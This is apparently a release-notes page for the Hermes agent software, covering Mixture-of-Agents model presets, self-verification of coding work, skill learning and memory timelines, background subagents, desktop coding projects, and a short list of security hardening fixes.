<p>Special shoutout to <strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a></strong>, who burned through the priority backlog day and night alongside the core team — the cron reliability wave, the compression-fork fix, the credential-exfil hardening, and a huge share of the P1 closures are his.</p>
<p>We're keeping P0/P1 at <strong>0</strong> from here forward. 🫡</p>
<h2>✨ Highlights</h2>
<ul>
<li>
<p><strong>Mixture-of-Agents is now a first-class model you can pick</strong> — MoA used to be a mode you toggled; now every named MoA preset shows up as a selectable model under a <code>moa</code> provider, right alongside Claude, GPT, and Grok in every model picker (CLI, TUI, desktop, gateway). Pick "my-council" the same way you'd pick any model, and Hermes routes your prompt through that ensemble automatically. An ensemble of frontier models deliberating on your hardest questions is now one selection away, on every surface. (<a href="https://github.com/NousResearch/hermes-agent/pull/46081" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46081/hovercard">#46081</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53548" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53548/hovercard">#53548</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53561" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53561/hovercard">#53561</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>See every model's reasoning, then watch the answer stream in</strong> — When a MoA ensemble runs, each reference model's full output now renders as its own labelled block — you can read what GPT-5 thought, what Claude thought, and what Grok thought, before the aggregator synthesizes them into one answer. And that final answer now streams to you live instead of appearing all at once after a long silence. This works in the CLI, the TUI, and the desktop app. You get to watch the committee deliberate, not just read the verdict. (<a href="https://github.com/NousResearch/hermes-agent/pull/53793" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53793/hovercard">#53793</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53855" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53855/hovercard">#53855</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55625" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55625/hovercard">#55625</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56101" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56101/hovercard">#56101</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>The agent verifies its own work — "done" means proven, not claimed</strong> — Hermes now records verification evidence for coding work and can decide it's finished by actually running your project's checks, not by asserting success. <code>/goal</code> gained <strong>completion contracts</strong>: you state what "done" looks like, and the standing-goal loop judges completion against that evidence instead of stopping when the model feels like it. There's a <code>pre_verify</code> hook for wiring in custom checks and a one-time migration that tunes the defaults sensibly. The difference between "I think I fixed it" and "the tests pass, here's proof." (<a href="https://github.com/NousResearch/hermes-agent/pull/50501" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50501/hovercard">#50501</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52285" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52285/hovercard">#52285</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55413" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55413/hovercard">#55413</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53552" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53552/hovercard">#53552</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</p>
</li>
<li>
<p><strong><code>/learn</code> — turn anything into a reusable skill by describing it</strong> — Run <code>/learn &lt;anything&gt;</code> and Hermes distills a reusable skill out of whatever you point it at — a directory, a URL, or just the workflow you walked it through five minutes ago. It writes the skill to the standards in your CONTRIBUTING.md automatically. The next time you need that workflow, it's already there. Teaching Hermes a new trick is now a single command, not a manual skill-authoring session. (<a href="https://github.com/NousResearch/hermes-agent/pull/51506" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51506/hovercard">#51506</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52372" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52372/hovercard">#52372</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong><code>/journey</code> — a playable timeline of everything Hermes has learned about you</strong> — The CLI and TUI gained <code>/journey</code>, a learning timeline that shows the memories and skills Hermes has accumulated over time — and you can edit or delete any of them right from the view. Pair it with the desktop's new <strong>memory graph</strong> (a top-down, playable radial timeline of memories and skills) and for the first time you can actually <em>see</em> what your agent knows, watch it grow, and prune what's wrong. Your agent's memory stops being a black box. (<a href="https://github.com/NousResearch/hermes-agent/pull/55555" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55555/hovercard">#55555</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55859" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55859/hovercard">#55859</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55226" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55226/hovercard">#55226</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</p>
</li>
<li>
<p><strong>Delegate a pile of work and keep going — background fan-out</strong> — <code>delegate_task</code> can now fan out multiple subagents that all run in the <strong>background</strong>: your chat is never blocked, and when every subagent finishes, their results come back as a single consolidated turn. Kick off "research these five competitors in parallel" or "audit these three modules," then carry on with something else while a small fleet works. When it's all done, you get one clean summary instead of babysitting each one. (<a href="https://github.com/NousResearch/hermes-agent/pull/49734" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49734/hovercard">#49734</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>First-class coding Projects in the desktop app</strong> — The desktop app gained real, per-profile <strong>Projects</strong> — a sidebar of your codebases, a coding rail, a review pane, git worktree management, and agent-facing project tools, all backed by a proper <code>project → repo → lane</code> model. Instead of scattered chat sessions, your coding work is organized into projects the agent understands and can act on. It's the desktop turning into an actual coding cockpit. (<a href="https://github.com/NousResearch/hermes-agent/pull/49037" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49037/hovercard">#49037</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54385" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54385/hovercard">#54385</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54517" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54517/hovercard">#54517</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</p>
</li>
<li>
<p><strong>Run Hermes at scale — scale-to-zero and drain coordination</strong> — The gateway can now go <strong>dormant when idle</strong> and quiesce cleanly before a restart, migration, or auto-update — without dropping in-flight conversations. A hosted or relay-only Hermes can scale to zero when nobody's talking to it and wake back up on demand, and disruptive lifecycle actions coordinate an external drain so nobody gets cut off mid-turn. Running Hermes for a team or as a hosted service just got a lot more production-grade. (<a href="https://github.com/NousResearch/hermes-agent/pull/52243" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52243/hovercard">#52243</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52937" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52937/hovercard">#52937</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54824" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54824/hovercard">#54824</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</p>
</li>
<li>
<p><strong>Cheaper self-improvement — smarter background review</strong> — The post-turn self-improvement fork (the one that decides whether to save a memory or skill) now routes to an auxiliary model, digests context instead of replaying the whole conversation, and adapts its cadence — so the "learn from what just happened" loop that runs after your turns costs a fraction of what it used to. You keep the self-improvement, you stop paying full main-model price for it. (<a href="https://github.com/NousResearch/hermes-agent/pull/49252" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49252/hovercard">#49252</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Compose your next prompt in your editor — <code>/prompt</code></strong> — <code>/prompt</code> opens your <code>$EDITOR</code> so you can hand-write a long, multi-line prompt in real markdown instead of fighting a one-line input box. Draft a detailed spec, a structured question, or a big paste, save, and it's queued as your next message. Small thing, huge quality-of-life win for anyone who writes Hermes more than a sentence at a time. (<a href="https://github.com/NousResearch/hermes-agent/pull/50509" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50509/hovercard">#50509</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Google Vertex AI — Gemini through your GCP service account, no static key</strong> — Vertex AI is now a first-class provider for Gemini models over Vertex's OpenAI-compatible endpoint. The reason a plain custom-provider setup always died mid-session is that Vertex has no static API key — every request needs a short-lived OAuth2 access token (~1h TTL) minted from a service-account JSON or Application Default Credentials. Hermes now mints and auto-refreshes those tokens for you, so if your org runs Gemini through Google Cloud, you point Hermes at your service account and it just works — no token-pasting, no mid-session expiry. (<a href="https://github.com/NousResearch/hermes-agent/pull/56363" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56363/hovercard">#56363</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/slawt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slawt">@slawt</a>)</p>
</li>
<li>
<p><strong>Security round</strong> — This window hardened several surfaces: MCP-config persistence attack surface locked down, cron <code>base_url</code> overrides that could exfiltrate provider credentials blocked, a non-reusable sentinel for prefix secrets in file reads, Slack app-level (<code>xapp-</code>) token redaction, a browser cloud-metadata floor enforced on every backend, and an <code>aiohttp</code> CVE floor across the lazy messaging paths. Fewer ways for a prompt-injected or misconfigured session to leak a credential. (<a href="https://github.com/NousResearch/hermes-agent/pull/50476" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50476/hovercard">#50476</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56196" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56196/hovercard">#56196</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54166" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54166/hovercard">#54166</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56227" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56227/hovercard">#56227</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52349" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52349/hovercard">#52349</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56237" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56237/hovercard">#56237</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/claudlos/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/claudlos">@claudlos</a>)</p>
</li>
</ul>
<hr>
<h2>🧠 Mixture-of-Agents (MoA)</h2>
<p>MoA graduated from a mode to a first-class part of the model system this window.</p>
<ul>
<li><strong>Presets as selectable virtual models</strong> — each named MoA preset appears as a model under provider <code>moa</code>; pick it in any model picker and Hermes routes through the ensemble (<a href="https://github.com/NousResearch/hermes-agent/pull/46081" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46081/hovercard">#46081</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53561" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53561/hovercard">#53561</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53775" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53775/hovercard">#53775</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong><code>/moa</code> is now one-shot sugar</strong> — runs a single prompt through the default preset and restores your model afterward; persistent switching goes through the model picker (<a href="https://github.com/NousResearch/hermes-agent/pull/53548" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53548/hovercard">#53548</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Reference-model output shown as labelled blocks</strong> in CLI, TUI, and desktop — read each model's reasoning before the aggregator's synthesis (<a href="https://github.com/NousResearch/hermes-agent/pull/53793" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53793/hovercard">#53793</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53855" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53855/hovercard">#53855</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Aggregator response streams live</strong> instead of appearing whole after a silence (<a href="https://github.com/NousResearch/hermes-agent/pull/55625" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55625/hovercard">#55625</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>References see full tool state and fire on every user/tool response</strong>; advisory references end on a user turn and get a reference-role system prompt (<a href="https://github.com/NousResearch/hermes-agent/pull/54016" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54016/hovercard">#54016</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54007/hovercard">#54007</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Opt-in full-turn trace persistence to JSONL</strong> (<code>moa.save_traces</code>) for debugging and eval (<a href="https://github.com/NousResearch/hermes-agent/pull/56101" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56101/hovercard">#56101</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Reliability: reference + aggregator models called through their provider's real route; context window resolved from the aggregator (not the 256K default); auxiliary tasks resolve to the aggregator; virtual provider blocked as a reference/aggregator slot; tolerant of hand-edited preset config (<a href="https://github.com/NousResearch/hermes-agent/pull/53580" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53580/hovercard">#53580</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53780" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53780/hovercard">#53780</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53827" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53827/hovercard">#53827</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53281" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53281/hovercard">#53281</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53275" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53275/hovercard">#53275</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53556" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53556/hovercard">#53556</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>MoA slot provider-identity unified on the single <code>call_llm</code> chokepoint; HermesBench results documented (<a href="https://github.com/NousResearch/hermes-agent/pull/55991" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55991/hovercard">#55991</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53206" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53206/hovercard">#53206</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>✅ Verification &amp; Goals — the agent proves its work</h2>
<ul>
<li><strong>Completion contracts for <code>/goal</code></strong> — state what "done" looks like; the standing-goal loop judges against evidence, not the model's say-so (<a href="https://github.com/NousResearch/hermes-agent/pull/50501" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50501/hovercard">#50501</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong><code>/goal wait &lt;pid&gt;</code></strong> — park the standing-goal loop on a background process instead of re-poking the agent (<a href="https://github.com/NousResearch/hermes-agent/pull/50503" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50503/hovercard">#50503</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Coding verification evidence ledger</strong> — profile-scoped record of canonical project checks detected by <code>agent.coding_context</code>; gateway exposes verification status (<a href="https://github.com/NousResearch/hermes-agent/pull/52285" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52285/hovercard">#52285</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52286" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52286/hovercard">#52286</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><strong><code>pre_verify</code> hook + coding guidance config</strong>; verification stop loop + ad-hoc verification scripts (<a href="https://github.com/NousResearch/hermes-agent/pull/55413" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55413/hovercard">#55413</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52296" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52296/hovercard">#52296</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52297" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52297/hovercard">#52297</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><strong>verify-on-stop defaults OFF</strong> with a one-time v32 migration; skips doc-only edits; surface-aware "auto" default restored; gated off for messaging surfaces (<a href="https://github.com/NousResearch/hermes-agent/pull/53552" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53552/hovercard">#53552</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54740" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54740/hovercard">#54740</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55449" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55449/hovercard">#55449</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52412" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52412/hovercard">#52412</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/GodsBoy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/GodsBoy">@GodsBoy</a>)</li>
</ul>
<h2>🎓 Self-Improvement (Learn / Journey)</h2>
<ul>
<li><strong><code>/learn &lt;anything&gt;</code></strong> — distill a reusable skill from a directory, URL, or a workflow you just walked through; honors CONTRIBUTING.md skill standards and mixed requirements (<a href="https://github.com/NousResearch/hermes-agent/pull/51506" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51506/hovercard">#51506</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52372" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52372/hovercard">#52372</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55956" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55956/hovercard">#55956</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong><code>/journey</code></strong> — CLI + TUI learning timeline of accumulated memories and skills, with in-place edit/delete (<a href="https://github.com/NousResearch/hermes-agent/pull/55555" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55555/hovercard">#55555</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55859" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55859/hovercard">#55859</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><strong>Cheaper background review</strong> — aux-model routing + context digest + adaptive cadence for the post-turn self-improvement fork (<a href="https://github.com/NousResearch/hermes-agent/pull/49252" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49252/hovercard">#49252</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong><code>memory</code> graph</strong> in the desktop — playable radial timeline of memories + skills over time (<a href="https://github.com/NousResearch/hermes-agent/pull/55226" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55226/hovercard">#55226</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h2>🖥️ Hermes Desktop App</h2>
<h3>Coding cockpit</h3>
<ul>
<li><strong>First-class Projects</strong> — per-profile sidebar, coding rail, review pane, agent project tools (<code>project → repo → lane</code>); remote-gateway-aware folder picker + git cockpit (status, review, worktrees) (<a href="https://github.com/NousResearch/hermes-agent/pull/49037" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49037/hovercard">#49037</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54385" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54385/hovercard">#54385</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><strong>Multi-terminal panel</strong> with read-only agent terminals; persist &amp; restore terminal tabs + scrollback across relaunch (<a href="https://github.com/NousResearch/hermes-agent/pull/54517" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54517/hovercard">#54517</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54585" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54585/hovercard">#54585</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><strong>PR-style file diffs in chat</strong>; in-app spot editor for the file preview pane; inline rich embeds, diagrams &amp; alerts in assistant markdown (<a href="https://github.com/NousResearch/hermes-agent/pull/50731" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50731/hovercard">#50731</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52772" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52772/hovercard">#52772</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52935" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52935/hovercard">#52935</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>UX &amp; surfaces</h3>
<ul>
<li>Conversation timeline rail for long threads; context-usage breakdown popover; read-only spectator transcript for subagent watch windows; pop the composer into a draggable floating window (<a href="https://github.com/NousResearch/hermes-agent/pull/51094" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51094/hovercard">#51094</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54907" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54907/hovercard">#54907</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55033/hovercard">#55033</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49488" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49488/hovercard">#49488</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>)</li>
